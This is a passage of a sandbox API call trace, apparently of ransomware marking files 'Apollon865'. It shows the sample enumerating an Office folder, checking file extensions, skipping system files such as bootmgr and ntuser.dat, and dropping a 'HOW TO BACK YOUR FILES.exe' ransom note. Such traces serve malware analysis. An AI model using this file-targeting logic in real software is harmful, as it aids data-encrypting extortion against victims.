	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="cat") returned -1
	[0067.477] lstrlenW (lpString="cdb") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="cdb") returned -1
	[0067.477] lstrlenW (lpString="ckp") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="ckp") returned -1
	[0067.477] lstrlenW (lpString="cma") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="cma") returned -1
	[0067.477] lstrlenW (lpString="cpd") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="cpd") returned -1
	[0067.477] lstrlenW (lpString="dacpac") returned 6
	[0067.477] lstrcmpiW (lpString1="11.BDR", lpString2="dacpac") returned -1
	[0067.477] lstrlenW (lpString="dad") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="dad") returned -1
	[0067.477] lstrlenW (lpString="dadiagrams") returned 10
	[0067.477] lstrcmpiW (lpString1="SPUB11.BDR", lpString2="dadiagrams") returned 1
	[0067.477] lstrlenW (lpString="daschema") returned 8
	[0067.477] lstrcmpiW (lpString1="UB11.BDR", lpString2="daschema") returned 1
	[0067.477] lstrlenW (lpString="db-journal") returned 10
	[0067.477] lstrcmpiW (lpString1="SPUB11.BDR", lpString2="db-journal") returned 1
	[0067.477] lstrlenW (lpString="db-shm") returned 6
	[0067.477] lstrcmpiW (lpString1="11.BDR", lpString2="db-shm") returned -1
	[0067.477] lstrlenW (lpString="db-wal") returned 6
	[0067.477] lstrcmpiW (lpString1="11.BDR", lpString2="db-wal") returned -1
	[0067.477] lstrlenW (lpString="dbc") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="dbc") returned -1
	[0067.478] lstrlenW (lpString="dbs") returned 3
	[0067.478] lstrcmpiW (lpString1="BDR", lpString2="dbs") returned -1
	[0067.478] lstrlenW (lpString="dbt") returned 3
	[0067.478] lstrcmpiW (lpString1="BDR", lpString2="dbt") returned -1
	[0067.478] lstrlenW (lpString="dbv") returned 3
	[0067.478] lstrcmpiW (lpString1="BDR", lpString2="dbv") returned -1
	[0067.478] lstrlenW (lpString="dbx") returned 3
	[0067.478] lstrcmpiW (lpString1="BDR", lpString2="dbx") returned -1
	[0067.478] lstrlenW (lpString="dcb") returned 3
	[0067.478] lstrcmpiW (lpString1="BDR", lpString2="dcb") returned -1
	[0067.478] lstrcmpiW (lpString1="BDR", lpString2="dct") returned -1
	[0067.478] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB1A.BDR" | out: lpString1="MSPUB1A.BDR") returned="MSPUB1A.BDR"
	[0067.478] lstrlenW (lpString="MSPUB1A.BDR") returned 11
	[0067.478] lstrlenW (lpString="Apollon865") returned 10
	[0067.478] lstrcmpiW (lpString1="SPUB1A.BDR", lpString2="Apollon865") returned 1
	[0067.478] lstrlenW (lpString=".dll") returned 4
	[0067.478] lstrcmpiW (lpString1="MSPUB1A.BDR", lpString2=".dll") returned 1
	[0067.478] lstrlenW (lpString=".lnk") returned 4
	[0067.478] lstrcmpiW (lpString1="MSPUB1A.BDR", lpString2=".lnk") returned 1
	[0067.478] lstrlenW (lpString=".ini") returned 4
	[0067.478] lstrcmpiW (lpString1="MSPUB1A.BDR", lpString2=".ini") returned 1
	[0067.478] lstrlenW (lpString=".sys") returned 4
	[0067.478] lstrcmpiW (lpString1="MSPUB1A.BDR", lpString2=".sys") returned 1
	[0067.478] lstrlenW (lpString="MSPUB1A.BDR") returned 11
	[0067.478] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB1B.BDR" | out: lpString1="MSPUB1B.BDR") returned="MSPUB1B.BDR"
	[0067.478] lstrlenW (lpString="MSPUB1B.BDR") returned 11
	[0067.478] lstrlenW (lpString="Apollon865") returned 10
	[0067.478] lstrcmpiW (lpString1="SPUB1B.BDR", lpString2="Apollon865") returned 1
	[0067.478] lstrlenW (lpString=".dll") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB1B.BDR", lpString2=".dll") returned 1
	[0067.479] lstrlenW (lpString=".lnk") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB1B.BDR", lpString2=".lnk") returned 1
	[0067.479] lstrlenW (lpString=".ini") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB1B.BDR", lpString2=".ini") returned 1
	[0067.479] lstrlenW (lpString=".sys") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB1B.BDR", lpString2=".sys") returned 1
	[0067.479] lstrlenW (lpString="MSPUB1B.BDR") returned 11
	[0067.479] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB2A.BDR" | out: lpString1="MSPUB2A.BDR") returned="MSPUB2A.BDR"
	[0067.479] lstrlenW (lpString="MSPUB2A.BDR") returned 11
	[0067.479] lstrlenW (lpString="Apollon865") returned 10
	[0067.479] lstrcmpiW (lpString1="SPUB2A.BDR", lpString2="Apollon865") returned 1
	[0067.479] lstrlenW (lpString=".dll") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB2A.BDR", lpString2=".dll") returned 1
	[0067.479] lstrlenW (lpString=".lnk") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB2A.BDR", lpString2=".lnk") returned 1
	[0067.479] lstrlenW (lpString=".ini") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB2A.BDR", lpString2=".ini") returned 1
	[0067.479] lstrlenW (lpString=".sys") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB2A.BDR", lpString2=".sys") returned 1
	[0067.479] lstrlenW (lpString="MSPUB2A.BDR") returned 11
	[0067.479] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB2B.BDR" | out: lpString1="MSPUB2B.BDR") returned="MSPUB2B.BDR"
	[0067.479] lstrlenW (lpString="MSPUB2B.BDR") returned 11
	[0067.479] lstrlenW (lpString="Apollon865") returned 10
	[0067.479] lstrcmpiW (lpString1="SPUB2B.BDR", lpString2="Apollon865") returned 1
	[0067.479] lstrlenW (lpString=".dll") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB2B.BDR", lpString2=".dll") returned 1
	[0067.479] lstrlenW (lpString=".lnk") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB2B.BDR", lpString2=".lnk") returned 1
	[0067.479] lstrlenW (lpString=".ini") returned 4
	[0067.479] lstrcmpiW (lpString1="MSPUB2B.BDR", lpString2=".ini") returned 1
	[0067.479] lstrlenW (lpString=".sys") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB2B.BDR", lpString2=".sys") returned 1
	[0067.480] lstrlenW (lpString="MSPUB2B.BDR") returned 11
	[0067.480] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB3A.BDR" | out: lpString1="MSPUB3A.BDR") returned="MSPUB3A.BDR"
	[0067.480] lstrlenW (lpString="MSPUB3A.BDR") returned 11
	[0067.480] lstrlenW (lpString="Apollon865") returned 10
	[0067.480] lstrcmpiW (lpString1="SPUB3A.BDR", lpString2="Apollon865") returned 1
	[0067.480] lstrlenW (lpString=".dll") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3A.BDR", lpString2=".dll") returned 1
	[0067.480] lstrlenW (lpString=".lnk") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3A.BDR", lpString2=".lnk") returned 1
	[0067.480] lstrlenW (lpString=".ini") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3A.BDR", lpString2=".ini") returned 1
	[0067.480] lstrlenW (lpString=".sys") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3A.BDR", lpString2=".sys") returned 1
	[0067.480] lstrlenW (lpString="MSPUB3A.BDR") returned 11
	[0067.480] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB3B.BDR" | out: lpString1="MSPUB3B.BDR") returned="MSPUB3B.BDR"
	[0067.480] lstrlenW (lpString="MSPUB3B.BDR") returned 11
	[0067.480] lstrlenW (lpString="Apollon865") returned 10
	[0067.480] lstrcmpiW (lpString1="SPUB3B.BDR", lpString2="Apollon865") returned 1
	[0067.480] lstrlenW (lpString=".dll") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3B.BDR", lpString2=".dll") returned 1
	[0067.480] lstrlenW (lpString=".lnk") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3B.BDR", lpString2=".lnk") returned 1
	[0067.480] lstrlenW (lpString=".ini") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3B.BDR", lpString2=".ini") returned 1
	[0067.480] lstrlenW (lpString=".sys") returned 4
	[0067.480] lstrcmpiW (lpString1="MSPUB3B.BDR", lpString2=".sys") returned 1
	[0067.480] lstrlenW (lpString="MSPUB3B.BDR") returned 11
	[0067.480] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB4.BDR" | out: lpString1="MSPUB4.BDR") returned="MSPUB4.BDR"
	[0067.480] lstrlenW (lpString="MSPUB4.BDR") returned 10
	[0067.480] lstrlenW (lpString="Apollon865") returned 10
	[0067.481] lstrlenW (lpString=".dll") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB4.BDR", lpString2=".dll") returned 1
	[0067.481] lstrlenW (lpString=".lnk") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB4.BDR", lpString2=".lnk") returned 1
	[0067.481] lstrlenW (lpString=".ini") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB4.BDR", lpString2=".ini") returned 1
	[0067.481] lstrlenW (lpString=".sys") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB4.BDR", lpString2=".sys") returned 1
	[0067.481] lstrlenW (lpString="MSPUB4.BDR") returned 10
	[0067.481] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB5A.BDR" | out: lpString1="MSPUB5A.BDR") returned="MSPUB5A.BDR"
	[0067.481] lstrlenW (lpString="MSPUB5A.BDR") returned 11
	[0067.481] lstrlenW (lpString="Apollon865") returned 10
	[0067.481] lstrcmpiW (lpString1="SPUB5A.BDR", lpString2="Apollon865") returned 1
	[0067.481] lstrlenW (lpString=".dll") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB5A.BDR", lpString2=".dll") returned 1
	[0067.481] lstrlenW (lpString=".lnk") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB5A.BDR", lpString2=".lnk") returned 1
	[0067.481] lstrlenW (lpString=".ini") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB5A.BDR", lpString2=".ini") returned 1
	[0067.481] lstrlenW (lpString=".sys") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB5A.BDR", lpString2=".sys") returned 1
	[0067.481] lstrlenW (lpString="MSPUB5A.BDR") returned 11
	[0067.481] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB5B.BDR" | out: lpString1="MSPUB5B.BDR") returned="MSPUB5B.BDR"
	[0067.481] lstrlenW (lpString="MSPUB5B.BDR") returned 11
	[0067.481] lstrlenW (lpString="Apollon865") returned 10
	[0067.481] lstrcmpiW (lpString1="SPUB5B.BDR", lpString2="Apollon865") returned 1
	[0067.481] lstrlenW (lpString=".dll") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB5B.BDR", lpString2=".dll") returned 1
	[0067.481] lstrlenW (lpString=".lnk") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB5B.BDR", lpString2=".lnk") returned 1
	[0067.481] lstrlenW (lpString=".ini") returned 4
	[0067.481] lstrcmpiW (lpString1="MSPUB5B.BDR", lpString2=".ini") returned 1
	[0067.482] lstrlenW (lpString=".sys") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB5B.BDR", lpString2=".sys") returned 1
	[0067.482] lstrlenW (lpString="MSPUB5B.BDR") returned 11
	[0067.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB6.BDR" | out: lpString1="MSPUB6.BDR") returned="MSPUB6.BDR"
	[0067.482] lstrlenW (lpString="MSPUB6.BDR") returned 10
	[0067.482] lstrlenW (lpString="Apollon865") returned 10
	[0067.482] lstrlenW (lpString=".dll") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB6.BDR", lpString2=".dll") returned 1
	[0067.482] lstrlenW (lpString=".lnk") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB6.BDR", lpString2=".lnk") returned 1
	[0067.482] lstrlenW (lpString=".ini") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB6.BDR", lpString2=".ini") returned 1
	[0067.482] lstrlenW (lpString=".sys") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB6.BDR", lpString2=".sys") returned 1
	[0067.482] lstrlenW (lpString="MSPUB6.BDR") returned 10
	[0067.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB7.BDR" | out: lpString1="MSPUB7.BDR") returned="MSPUB7.BDR"
	[0067.482] lstrlenW (lpString="MSPUB7.BDR") returned 10
	[0067.482] lstrlenW (lpString="Apollon865") returned 10
	[0067.482] lstrlenW (lpString=".dll") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB7.BDR", lpString2=".dll") returned 1
	[0067.482] lstrlenW (lpString=".lnk") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB7.BDR", lpString2=".lnk") returned 1
	[0067.482] lstrlenW (lpString=".ini") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB7.BDR", lpString2=".ini") returned 1
	[0067.482] lstrlenW (lpString=".sys") returned 4
	[0067.482] lstrcmpiW (lpString1="MSPUB7.BDR", lpString2=".sys") returned 1
	[0067.482] lstrlenW (lpString="MSPUB7.BDR") returned 10
	[0067.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB8.BDR" | out: lpString1="MSPUB8.BDR") returned="MSPUB8.BDR"
	[0067.482] lstrlenW (lpString="MSPUB8.BDR") returned 10
	[0067.482] lstrlenW (lpString="Apollon865") returned 10
	[0067.482] lstrlenW (lpString=".dll") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB8.BDR", lpString2=".dll") returned 1
	[0067.483] lstrlenW (lpString=".lnk") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB8.BDR", lpString2=".lnk") returned 1
	[0067.483] lstrlenW (lpString=".ini") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB8.BDR", lpString2=".ini") returned 1
	[0067.483] lstrlenW (lpString=".sys") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB8.BDR", lpString2=".sys") returned 1
	[0067.483] lstrlenW (lpString="MSPUB8.BDR") returned 10
	[0067.483] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB9.BDR" | out: lpString1="MSPUB9.BDR") returned="MSPUB9.BDR"
	[0067.483] lstrlenW (lpString="MSPUB9.BDR") returned 10
	[0067.483] lstrlenW (lpString="Apollon865") returned 10
	[0067.483] lstrlenW (lpString=".dll") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB9.BDR", lpString2=".dll") returned 1
	[0067.483] lstrlenW (lpString=".lnk") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB9.BDR", lpString2=".lnk") returned 1
	[0067.483] lstrlenW (lpString=".ini") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB9.BDR", lpString2=".ini") returned 1
	[0067.483] lstrlenW (lpString=".sys") returned 4
	[0067.483] lstrcmpiW (lpString1="MSPUB9.BDR", lpString2=".sys") returned 1
	[0067.483] lstrlenW (lpString="MSPUB9.BDR") returned 10
	[0067.483] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF"
	[0067.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a270 | out: hHeap=0x580000) returned 1
	[0067.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0067.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned 48
	[0067.483] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF"
	[0067.483] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0067.510] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x404b0ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x404b0ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.511] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.511] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.511] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.511] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x404b0ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x404b0ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.511] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.511] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.511] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.511] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.511] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0067.511] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0067.511] lstrlenW (lpString="1033") returned 4
	[0067.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*") returned 50
	[0067.511] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0067.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0067.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59ab78
	[0067.511] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0067.511] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="Apollon865.txt.exe") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2=".") returned 1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="..") returned 1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="windows") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="bootmgr") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="temp") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="pagefile.sys") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="boot") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="ids.txt") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="ntuser.dat") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="perflogs") returned -1
	[0067.512] lstrcmpiW (lpString1="1036", lpString2="MSBuild") returned -1
	[0067.512] lstrlenW (lpString="1036") returned 4
	[0067.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033") returned 53
	[0067.512] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="1036" | out: lpString1="1036") returned="1036"
	[0067.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0067.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59ab00
	[0067.512] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0067.512] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="Apollon865.txt.exe") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2=".") returned 1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="..") returned 1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="windows") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="bootmgr") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="temp") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="pagefile.sys") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="boot") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="ids.txt") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="ntuser.dat") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="perflogs") returned -1
	[0067.512] lstrcmpiW (lpString1="3082", lpString2="MSBuild") returned -1
	[0067.512] lstrlenW (lpString="3082") returned 4
	[0067.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036") returned 53
	[0067.512] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="3082" | out: lpString1="3082") returned="3082"
	[0067.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbc8
	[0067.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59abf0
	[0067.513] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbd0 | out: ListHead=0x5b76b0, ListEntry=0x59fbd0) returned 0x59fe30
	[0067.513] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404b0ed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x404b0ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.513] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.513] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="Apollon865.txt.exe") returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2=".") returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="..") returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="windows") returned -1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="bootmgr") returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="temp") returned -1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="pagefile.sys") returned -1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="boot") returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="ids.txt") returned 1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="ntuser.dat") returned -1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="perflogs") returned -1
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2="MSBuild") returned 1
	[0067.513] lstrlenW (lpString="MSGR3EN.LEX") returned 11
	[0067.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082") returned 53
	[0067.513] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSGR3EN.LEX" | out: lpString1="MSGR3EN.LEX") returned="MSGR3EN.LEX"
	[0067.513] lstrlenW (lpString="MSGR3EN.LEX") returned 11
	[0067.513] lstrlenW (lpString="Apollon865") returned 10
	[0067.513] lstrcmpiW (lpString1="SGR3EN.LEX", lpString2="Apollon865") returned 1
	[0067.513] lstrlenW (lpString=".dll") returned 4
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2=".dll") returned 1
	[0067.513] lstrlenW (lpString=".lnk") returned 4
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2=".lnk") returned 1
	[0067.513] lstrlenW (lpString=".ini") returned 4
